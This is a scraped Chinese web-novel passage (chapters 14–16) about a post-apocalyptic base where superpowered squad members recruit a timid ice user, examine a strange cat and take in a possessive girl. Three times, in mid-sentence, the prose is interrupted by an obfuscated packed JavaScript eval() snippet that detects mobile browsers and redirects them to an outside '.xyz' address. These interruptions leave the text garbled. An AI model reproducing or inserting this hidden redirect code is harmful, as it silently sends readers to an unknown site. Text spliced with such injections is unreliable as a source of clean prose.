甄小柔冷不丁凑过去，“可乐有这么好喝吗？” “当然有！这可是快乐水！” 大约是喝到可乐的惊喜冲淡了王苏对甄小柔的恐惧感，面对甄小柔的靠近，王苏竟然没有弹出去。 褚青缇道：“常温可乐有如洁厕灵，要加冰块才更好喝。” 冰系异能者王苏半信半疑，召唤出一根冰块。 长长的一条圆柱体冰块，冻得发白，像极了牛奶味的棒棒冰。 王苏将棒冰折成两段，将易拉罐的口子撕得更开，把冰块丢进易拉罐里。 随着“呲——”的一声，冰块滚入气泡水，激起一阵咕涌。 他凑过嘴唇，小小抿了一口，惊喜地睁大了眼，“哇！果然加了冰更好喝！” 送可乐的任务完成，临走前，褚青缇问他将来有什么打算。 “我？我一个光杆司令，能有什么安排？看欧阳老大怎么安排吧。”王苏为难地搓了搓脸，“褚姐，你能帮我问问许队长招人不？” 话题又一次被带到了许队长身上。 “好，我可以帮你问问。我们队长招人标准很奇怪的，太出挑的她看不上，就喜欢另辟蹊径。”褚青缇一口答应下来。 王苏大喜过望，“另辟蹊径好啊，正好我不出挑！” “对了，你那些队友……” 褚青缇想装出不经意地一问，探探口风。 但以她的情商，她这话问得刻意极了。 “我们这次去，没有找到你队友留下的痕迹，或许他们还有一线生机。” 甄小柔眼睛直抽，没忍住扯了扯褚青缇的袖子：喂喂，你也太直接了一点吧？好歹掩饰一下啊？ 褚青缇给了她一记安抚的眼神：放心，他脑子不好，听不出来。 果然，王苏没有半点防备，乐呵呵地回答：“褚姐说得在理！我也是这么认为的！” 褚青缇假笑：看吧，她就说这小子会上套。 甄小柔震惊：啊，这也行？ 两人回到宿舍楼复命，你一句我一句，讲述了在阶梯教室发生的一切。 “确实是王苏本人没错。” “他拥有末世前的记忆，对他奶奶的感情应该也很深。” 甄小柔蹙眉：“但是，有两点很奇怪……” “四点。”褚青缇补充。 “第一，他表现出来的样子，好像是第一次喝到可乐，他甚至不知道可乐加冰才是大众喝法。”甄小柔解释，“第二，他对自己的异能运用得很不熟练，我让他给可乐加冰，他居然召唤出比可乐长一大截的冰棍。” 许婉滢若有所思，目光转向褚青缇，“你觉得奇怪的两点呢？” “第一，王苏认为被研究院吞噬掉的队友还会回来。第二，他很想加入我们队，托我问你招不招人。” 这就很有意思了。 许婉滢饶有兴致地摸了摸下巴，“招，那必须招！还打探出了别的吗？” 甄小柔犹豫道：“他好像……没有恶意。” 水，至纯至柔。 甄小柔作为水系异能者，对恶意的感知程度远比其他人高。 冰，晶莹剔透。 王苏作为冰系异能者，也像冰一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544145|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯粹，教人一眼就能看穿他的内心。 褚青缇也犹豫道：“我感觉他的脑子……不是很好。” “‘脑子不好’？” “就感觉很好骗的样子，心思全写在脸上。” 许婉滢盯着一脸真诚的褚青缇。 连小缇子都觉得王苏好骗，那小子的脑子得有多差啊。 当然，还有另一种可能—— 王苏的骗术太高明了，不仅可以骗过心思敏感的褚青缇，还能骗过共情力极强的甄小柔。 如果是后者，他就太可怕了。 “行，我知道了。对了，幸存者那边的体检结果出来了没？” 两人齐齐摇头。 “这么久还没出来？不应该啊。” “孙笋也在等复查结果。最近一轮体检，医生认为他体内的细胞分化速度过快，要多观察观察。” “细胞分化速度过快？那不就像……” 许婉滢跟甄小柔对视一眼。 在褚青缇迷惑不解的目光中，许婉滢神情紧绷，缓缓吐出剩下的三个字：“癌细胞？” 忽然得知队员的近况不太妙，许队长匆匆赶往隔离区，想找医生进一步确认孙笋的状态。 她走得匆忙，只留褚青缇和甄小柔在原地面面相觑。 热场子的许队长一走，两人之间刚聊完任务，失去了共同话语，干巴巴地告别。 褚青缇打开宿舍门，身后路过的甄小柔好奇地投去一眼。 就这一眼，让甄小柔恨不得长出八条腿逃跑的速度慢了下来。 “那是什么？” 甄小柔驻足，脚板像是订在了地板上，目光死死地盯着宿舍里的一堆小人书。 褚青缇顺着她的目光望过去，不确定地问：“你问的是哪本书？” “书！你居然有漫画书！足足一柜子的漫画书！” 甄小柔一个虎扑，扑在书柜上。 她热泪盈眶。 “难怪我托李果帮我在基地搜罗漫画书，他总说去晚了，卖空了。原来都被你买走了！” 褚青缇：“……” 看着甄小柔失控，由内向死宅化身二次元死宅，褚青缇眨了眨眼：“如果你喜欢，可以在我这里租来看，押金五十张水券，租金每天每本一张水券。” 这个价格，完全是杀猪。 虽然不清楚转化为水券需要消耗多少异能，但整座基地的供水，主力落在甄小柔肩头，她肩负的责任已经够沉重的了，再额外腾出异能券为自己的兴趣爱好买单，想必更加艰难。 “成交！” 甄小柔连价都不砍，生怕褚青缇反悔不租了。 她喜不自胜地将书架席卷一空，信誓旦旦保证：“我得先找李建钢，把异能转化为券，再给你送过来。你放心，一张都会少你的。” 褚青缇狮子大开口：“从今天开始计算违约金，晚一天多赔一张水券。” “没问题！” 甄小柔快乐地抱着漫画书跑远了。 她飞奔而去的样子，充满了活力，和初见时死气沉沉的模样大相径庭。 明明只过了两三个小时而已。 褚青缇一点也没有敲诈柔弱妹妹的愧疚感，乐滋滋数起了物资券，盘算着拿水券在哪换东西。 在这场交易中，她实现了水券自由，甄小柔获得了精神食粮，彼此都很开心，此乃双赢也，大家都有美好的未来。 15. 第 15 章 许婉滢从隔离区回来，脸色肉眼可见地变差。 她心情不好就想捉弄人，干脆主动把王苏招进队磋磨。 “给你一段时间的试用期，如果你表现好，就可以留下来，如果表现不如人意，那就请另谋他处吧。” 王苏似乎没有意识到“一段时间”这种含糊的描述有多坑。 他只关心工资。 “工资怎么发？工作强度大吗？工作时间有多长？” 这话一问出来，俨然是个合格的牛马。 许婉滢给未来的新队员画饼：“工资看你表现。至于工作强度和工作时间，一切听指挥。” 言下之意，“24小时待令”。 她眯了眯眼，奇怪道：“你以前的队伍是什么模式？” “每天队长会用他的异能喊我们起床，在操场集合跑操，有任务就出，没任务就锻炼、巡逻、PK。”王苏老老实实道，“我们队伍比较弱，能接的任务不会特别难。” 结果，一来就遇到了个高难级别的。 全队几近覆没，只有最胆小的王苏逃出生天。 基地的队伍，许婉滢多少打过交道。 大部分战斗队的队长都是攻击系的异能，比如她的【燎原】，田队长的【爆裂】。 但王苏这队不一样。 他们拥有着看似攻击的异能，却因各种各样的原因——比如胆小怕事、心智不坚、异能不熟等，而无法纯熟地运用异能进行攻击，因此常常采取迂回式的作战方式。 比如队长，异能叫【声波】，可以借助介质传递声音，也可以同时变出十个喇叭放在敌人耳边造成干扰和刺激，多好的攻击异能！ 结！果！ 他竟然用来喊队友起床跑操！！！ 全体成员，别的不会，但个个在“摸鱼”和“逃命”领域称得上“高手”。 能摸鱼的，绝不多劳多做。 能逃命的，绝不迎头而上。 这就导致，这支队伍在基地的风评不太好。 他们为了挽回名声，每天坚持在基地的安全区域内跑操、锻炼，显得自己队伍好像很忙一样，其实都是瞎忙，正事一件不做。 当初【声波】队伍灭队的消息传出来，许婉滢还以为自己听错了。 一支贪生怕死、推崇“保命第一”的队伍，说没就没了？ 万般思绪，在脑子里一转而过。 许婉滢露出属于资本家的冰冷笑容：“是吗？那你要学会适应适应。我们队接的任务，虽然工资高，但难度可不小哦。” 她用一种轻飘飘的、毫不在意的语气说道。 “在你进来之前，我已经失去五百多个队员了。” 王苏因“高薪”而傻乐的脸，瞬间僵住。 他打了个寒颤，难以置信地重复：“五、五百多个？” “是的呢。” “可末世降临也不过五百多天啊。” “平均一天挂一个呗，现在隔离区不还躺着一个半死不活的？” 许婉滢似乎不太在意队员的死活。 她竖起食指，笑眯眯地摇了摇。 “如果害怕，你现在可以选择退出。” 王苏纠结老半天，鼓起勇气问：“许队长，你们队伍可以预支工资吗？” “当然。”许婉滢回答，“我的队员，可以战死在战场，但绝不能穷死在基地。” “好，那我加入！”王苏不好意思地挠了挠头，“我奶奶生病了，需要很多钱看病。” 王苏的奶奶失去了双腿，生着怪病，他找过很多医生和治疗系异能者，都没查出奶奶生怪病的原因，医生只能暂时缓解，没法根治。 长期给奶奶看病，花销自然不会小，要不然他也不会卖掉基地分配的单间住宿资格，搬进集体混住的阶梯教室了。 许婉滢表示理解，顺势提出她会找人帮奶奶看病。 就这样，王苏作为“试用期队员”，加入了【燎原】小队。 而另一边，涂嘉书通过多轮体检，恢复了自由。 褚青缇去接她出来，顺便探探小猫的监。 小小的一张灰白色的猫饼，被束缚带牢牢捆住，摊在一张比它大几十倍的病床上，一副了无生趣的模样。 又惨又好笑。 褚青缇一来，猫猫头支起，扁平的煎饼猫逐渐膨胀成一团圆乎乎的猫猫球，眯着的细缝眼也变成了黄澄澄的圆眼珠，尾巴有气无力地摇了摇。 这几天，它没日没夜地叫唤，嗓子都叫哑了。 看到褚青缇的到来，小猫嘶哑地“喵”了一声，像是在打招呼。 隔着玻璃门，褚青缇半蹲着身子，视线和猫猫持平，跟它说话：“小猫最近乖不乖？打针疼不疼？有没有好好吃饭？” 她每说一句，小猫就着急地“喵喵喵”回应，人一言，喵两语，似模似样，有来有回。 涂嘉书抱着红眼睛的小兔子，冷冷在后面瞪着猫。 可恶的猫。 就知道装萌卖惨。 她忍不住提醒道：“青缇姐姐，你跟它说那么多做什么？小猫又听不懂人话。” “我知道。”褚青缇神情柔和，“可我有时会觉得，小猫其实什么都懂，它对我事事有回应。听不懂喵星语的人，是我。” 观察员听到动静，钻出了观察室。 他眉眼弯弯地朝褚青缇打招呼：“褚小姐又来看小猫了？” 又？ 涂嘉书捕捉到这个字，气得直咬牙。 果然，青缇姐姐每次是想来看猫，顺便才去看她的。 都怪小猫！ 都是小猫的错！ 如果没有该死的小猫，青缇姐姐就会只关心她一个人了！ 她面容扭曲，很快吸引到了观察员的注意力。 “这位是……” “涂嘉书，山里那间研究院，涂博士的女儿。”褚青缇介绍，“这位是扶双萄医生。” “原来褚小姐也认识我。”穿着厚重防护服的扶医生，大部分脸遮挡得严严实实，只露出一双好看的眼睛。 他似乎很喜欢笑，那双眼睛总是弯弯的，非常有亲和力。 褚青缇干笑。 她哪里认识这人？值班表上看到的名字呗！ 扶医生将目光转向涂嘉书，礼貌打招呼：“涂小姐好，初次见面，幸会。” 涂嘉书不吭声，抱紧小兔子，厌烦地别开脸。 她讨厌这个人，第一眼就讨厌。 对着青缇姐姐乱放电，一看就不安分。 还有，他的名字凭什么比她的还好听？！ 可恶！ 扶医生被晾在那里，一点也没有尴尬的样子，轻轻眨了眨眼，语气含笑：“涂小姐似乎不欢迎我。” “她刚体检了几天，精神不太好。”褚青缇打着圆场，揭过这一页，问，“小猫的复查结果出来了吗？” “出来了，有点奇怪。” “奇怪？” “嗯，它没有攻击性，也没携带病毒，但是……”扶医生顿了顿，眼下笑出的卧蚕渐渐消失，他谨慎措辞，“它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553696|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的基因检测显示，它不是猫，而是另一种维度的未知生命。” 另一种维度的未知生命？ 褚青缇忍不住看了一眼玻璃门内。 见她望过来，小猫哑哑地“喵”了一声，说不出的可怜和可爱。 小猫努力探过一颗毛绒绒的脑袋，奋力挣扎，细小的前肢上勒出一道道凹下去的痕迹，看着就疼。 小猫目光湿漉漉的，始终落在她身上，似乎想要挣脱束缚，像往常一样来蹭她。 这不是猫，还能是什么“未知生命”？ 褚青缇没有放在心上，道：“我听说，在末世降临后，很多物种为了适应大自然的生存法则，基因或多或少发生了变异。只要它没有攻击性和传染性，就没必要一直捆着它。” “褚小姐说的是。”扶医生点头，“我也这么想。只是，我向欧阳交过几次报告，欧阳至今没有答复。” 欧阳是基地老大，褚青缇自然不方便越过队长直接找老大说情，只能先按下，等跟队长聊聊再议。 两人交流时，涂嘉书始终安安静静地听。 探猫监结束，褚青缇带涂嘉书回宿舍。 “你的住宿暂时没分配下来，队长在找人交涉，你先在我这里洗个澡、吃点东西。” 前几天从甄小柔那杀猪来的水券，有了用武之地。 涂嘉书抱着小兔子，站在宿舍中间，环顾一圈。 褚青缇的房间很简洁，一张床，一张书桌，书桌上方打着一个书柜，空了两排。 涂嘉书刚想感慨青缇姐姐热爱读书，视线就落在了那些书的侧封上。 《今日开始做魔女》《和师妹同居的日子》《天才少女小优》《九个师弟把我宠上天》《成为全球首富后我哭了》《霸总和他的小娇妻》…… 一本本令人浮想联翩的书名，令涂嘉书瞬间把想要夸奖的话咽下肚子。 她沉默片刻，换了一句夸法：“青缇姐姐好厉害，你能认识这么多字耶！” 褚青缇：？ 涂嘉书洗完澡出来，换上褚青缇为她准备的裙子。 裙子是褚青缇在集市上用水券跟人换来的，一条款式简单的小白裙，衬得涂嘉书十分乖巧文静。 她走出洗手间时，许队长已经回来了。 许婉滢跟褚青缇坐在小板凳上，围着一只圆桶状的炉子和一只小锅，吵吵闹闹地煮东西。 “队长，火小一点，锅快糊了。” “哎呀小缇子你好烦，糊了就放水呗，你不是从小柔手里坑了不少水券吗？” “读书人的事，怎么能算‘坑’呢？” “熟了熟了，可以放盐了。” “队长别偷吃！家里还有客人呢！” 岁月静好，咋咋呼呼的两道女声，夹带着凡尘俗世的烟火气。 窗台上，晾着她刚刚脱下的几件脏衣服。 窗台下，还有一盆没有倒掉的肥皂水。 想必就在她洗澡的那段时间里，褚青缇体贴地替她洗好了衣服，还煮上了饭菜。 这一刻，涂嘉书忽然喜欢上了欧阳基地。 这里没有能吞噬一切的阴影，没有时而清醒时而丧失理智的博士母亲，没有无论如何也逃不出的五层小楼，让涂嘉书感到少有的安心。 小锅里氤氲的水雾升腾而起，模糊了涂嘉书的眼睛。 她眨眨眼，眼角渗出了一滴泪。 涂嘉书搂紧怀里的红眼睛小兔子。 她决定留下来，将欧阳基地据为己有，将基地里的一切……全部，据为己有。 16. 第 16 章 许婉滢抬头，第一眼落在涂嘉书怀里的兔子上，嫌弃地皱起眉头：“这破兔子是你从实验楼带出来的？多脏啊，赶紧丢了。” 许婉滢强势惯了，等了几秒不见回答，直接上手抢。 “在实验楼里，暴露在空气中的东西是要烧掉的，别把病毒带出来了。” 涂嘉书看着柔弱文静，没想到力气还真不小。 许婉滢扯了两下，没能扯动，暗自诧异。 “它才不是‘破兔子’。”涂嘉书脸上失去了表情，木木地注视着许婉滢。 那眼神，目空一切，仿佛注视的不是什么活物。 她收紧胳膊，箍得小兔子的脖子凹进去好大一块。 “这是我的东西，谁都不能碰。” 许婉滢挑了挑眉，恶趣味地笑着：“小姑娘还挺倔。” 涂嘉书薄而苍白的唇紧抿成一条线，显然不高兴。 “没事的，队长，观察员给小兔子消过毒了。”褚青缇拿筷子敲了敲锅沿，打断两人之间不太愉快的氛围。 她盛出一碗面，夹了一大把火腿和青菜，递给涂嘉书，“喏，趁热吃，不然面条就坨了。” 涂嘉书松开一只手，接过碗。 褚青缇顺势接过涂嘉书怀里的小兔子玩偶，非常自然地说道：“不过，如果你想继续抱着它睡觉的话，得先给它也洗个澡、拿消毒水泡一泡哦。” 涂嘉书乖乖松开另一只手，任由她拿走小兔子。 “喂喂喂，怎么还双标啊。”许婉滢不满地抗议，“我不能碰，小缇子怎么就可以碰？” 涂嘉书不理许队长，端着面碗，目光跟随着褚青缇。 褚青缇利落地从角落的储水桶里倒出一盆水，喷上小半瓶消毒液，拿刷子搅和搅和，再将小兔子泡在水盆里。 做完这一切，她回头，瞥了一眼面碗。 “怎么不吃东西？不好吃吗？” 涂嘉书摇摇头，将手里的碗递回去，认真地道：“面要坨了，你快吃。” 乖巧文弱的女孩子，用格外认真的语气关心着别人。 简直可爱到犯规。 褚青缇忍不住笑了，抬手揉了揉她的头发，“好，一起吃。” 许婉滢朝天翻了个白眼：“有病！一碗面还让来让去的，你们不吃我吃。” 三人坐在小板凳上，你一筷子我一筷子地夹着小锅里的面，呼哧呼哧嗦着面。 涂嘉书的吃相最文雅，没有发出声音。 她听到这串巨响，困惑地抬眼，当时就被狠狠地震撼住了。 这就不得不说，许婉滢和褚青缇真不愧是【燎原】队的，两人吃起东西来一个德行，风卷残云。 褚青缇尚有几分克制，许婉滢粗鲁得像八百年没吃过饱饭的流浪汉。 “咳，队长，注意形象。” 褚青缇拿筷子干净的那头杵了杵许婉滢。 许婉滢不以为意：“都啥年代了还注意形象？每天跟异种打交道，搞不好这就是最后的晚餐，及时行乐吧。” 褚青缇无奈，又翻出一筒面条，下了一把在水里。 “队长，火。” 许婉滢在百忙之中抽出一根手指头，敷衍地虚空一点，炉子里腾地燃起来，锅面微微冒着热气。 她们俩……好像很默契。 涂嘉书攥紧筷子。 不知怎么，她想起了刚刚听到的那句“家里还有客人”。 她们俩才是“自己人”，而她只是个“客人”。 褚青缇潜意识下的立场划分，令涂嘉书非常不高兴。 但下一秒，一筷子面条落入她碗中。 抬头一看，褚青缇正对着自己挤眉弄眼。 “嘉书快吃，我们队长吃饭跟饕餮一样，你不吃快点，肯定吃不饱。” 涂嘉书眼底的阴霾，瞬间被驱散。 她扬起唇角，用力点头。 “欸！青缇姐姐也快吃。” 她决定原谅这个糟糕的世界三分钟。 三人就这样，吵吵闹闹的，坐在矮墩子上，吃完了一顿面。 吃过东西，褚青缇老老实实取洗碗，许婉滢老神在在地蹲在地上，拿着一根牙签……剔牙。 涂嘉书嫌弃地撇开脸。 真粗鲁。 许婉滢很快意识到了涂嘉书的嫌弃。 然而，我们这位许队长，生平最爱欺负人。 ——当然，偶尔也欺负欺负猫。 她露出了恶劣的笑容，搬着矮墩子凑过去，故意把自己的脸往涂嘉书眼皮子底下送。 “喂，小妹妹，来一根呗？”她欠儿欠儿地递过一根牙签，“保护牙齿很重要的，牙好，才能保证我们无论处在什么环境，都能咬穿身边所有可以填饱肚子的东西。” “走开！” 涂嘉书烦她烦得要命，霍然起身，跑到水池边，自告奋勇要帮褚青缇洗碗。 褚青缇没有推辞，让出洗碗工的位置，自己则去角落里，拿旧牙刷刷小兔子。 牙刷每刷一下，涂嘉书就下意识地颤动一下。 仿佛刷毛不是落在小兔子的绒毛上，而是落在她的灵魂上。 她肮脏的灵魂，从里到外，被洗涤得干干净净。 洗完小兔子，褚青缇架着小兔子的两个腋窝，往队长跟前一放，理直气壮地要求：“队长，麻烦烘干一下。” “烘干费怎么算？”许婉滢没好气地问。 “咱俩都这么熟了，谈钱多伤感情。” “滚，谈感情伤钱。” 褚青缇拖长了音：“队长，队长，好队长，英明神武天下第一好的队长，帮忙弄个小火球出来，烘一下嘛。” “打住！肉麻死了！”许婉滢打了个寒颤，拍掉胳膊上的鸡皮疙瘩，不耐烦地嘟囔，“葛朗台，就知道薅羊毛，连你们队长都不放过。” 嘴上抱怨，手上却诚实地召唤出了几颗小火星子，围绕着小兔子打转，很快把小兔子烘干了。 如果欧阳在这里，肯定忍不住跳脚，质问她们：珍贵的异能是这么浪费的吗？ 许婉滢把烘好的小兔子往涂嘉书怀里一丢，“饭也吃了，兔子也洗了，可以走了吧？” 涂嘉书手忙脚乱地接住，疑惑地问：“走？去哪？” “去基地给你分配的宿舍啊。” 许婉滢攥住涂嘉书的胳膊，涂嘉书岿然不动。 嚯，忘了这小姑娘有一身使不完的牛劲了。 “很晚了，小缇子要休息，你总不能一直打扰她吧？” 涂嘉书眼神倔强，看向褚青缇。 褚青缇只是温和地回以一笑。 “我不想走。”涂嘉书咬紧牙，模仿着残疾小猫撒娇卖惨的神态，发出可怜兮兮的声音，“青缇姐姐，我害怕，你可以收留我一晚吗？” 许婉滢嘲笑：“这么窄的床，怎么够你们两个人睡？” 宿舍楼的床位，是以前留下的0.9米宽的学生高低床，原本有四张床，基地把多出来的床位搬去了其它地方，只给褚青缇留下了一张床。 因为上床很影响视野，起身时又容易磕到头，褚青缇索性锯掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553697|171134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了上床，只剩下一块床板。 0.9米，一个人睡勉强能翻身，两个人躺一块就太拥挤了。 涂嘉书赶紧表态：“我可以睡地板，不会影响到青缇姐姐的。” 许婉滢撤下笑脸，“喂，过分了啊。” “就一晚？”褚青缇问。 涂嘉书用力点头，“嗯！” “行。”褚青缇朝着面露忧色的队长摇摇头，“没事，嘉书刚来基地，会害怕很正常。明天我再带她去认路吧。” 褚青缇把队长送出门。 许婉滢站在走廊里，用气音质问道：“她敢睡在整栋楼都是污染体的研究院，却不敢睡在满地是人类的基地？你会信这种鬼话？” 褚青缇无声地比了个唇型：放心。 许婉滢老大不高兴地转身离开，噔噔几步，推开隔壁宿舍门，把门摔得哐哐响。 褚青缇好气又好笑。 宿舍里没有多余的被子，还好最近气温上升，夜里随便盖条被套就行。 褚青缇擦了一遍地，用旧床单在地上一铺，痛快躺平，嘴里发出畅快的单音。 涂嘉书抱着小兔子，站在地铺前，“青缇姐姐，你睡床。” “不用，我睡地上就行。” 两人拉扯了一段，涂嘉书咬着嘴唇：“其实，我们又不胖，学生床也够两个人睡的呀。” “是我的问题，我习惯一个人睡。” “这样吗？”涂嘉书低落地走回床边，“可我习惯跟妈妈睡。” 这句话，也太孩子气了点。 褚青缇笑出了声：“你都这么大了，还跟妈妈一块睡？” “嗯，妈妈怀里香香的，软软的，暖暖的，我一直是跟妈妈睡的。” 困意来袭，褚青缇打了个哈欠。 如果她还清醒，她一定能发现这句话里存在的漏洞。 可她是在太困了。 她随口回应：“原来你这么‘妈宝女’啊。” 涂嘉书学着褚青缇的模样，躺在褚青缇的小床上。 她身形纤瘦，狭窄的学生床能够轻松容纳她。 她枕着褚青缇的枕头，盖着褚青缇的被子，整个人笼罩在褚青缇的世界里。 不远处，睡着褚青缇本人，只要她偏偏头，就能轻松地从黑暗中捕捉到那张脸。 小兔子在她臂弯里，脑袋枕在另外半边枕头。 很安心。 很温暖。 涂嘉书却丝毫没有睡意。 “青缇姐姐，我给你讲个故事吧？” 褚青缇迷迷糊糊地回应：“你们小女生还听睡前故事的吗？” 她实在太困了，把讲故事和听故事的人搞反了。 涂嘉书没有在意，开口讲起了睡前故事：“从前，有个被诅咒的女孩，困在高塔之上。” “嗯，我听说过，长发公主。”褚青缇声音含糊，现场瞎编，“有公主，那应该有骑士啊……我是指女骑士，怎么样？” 涂嘉书自顾自地讲下去。 “有一天，公主跟往日一样，站在窗前，居高临下地看着闯入森林的女骑士。 “勇敢而善良的女骑士，试图营救被关在高塔上的公主。 “女骑士叫公主跳下来。 “女骑士承诺：‘我会接住你的。’” 褚青缇打了几个大大的哈欠，“如果没接住，就是另一个故事了。” 涂嘉书轻声回答：“那也没关系的。” “她本来，就是一滩肮脏恶心的烂泥啊。” 她语气淡淡。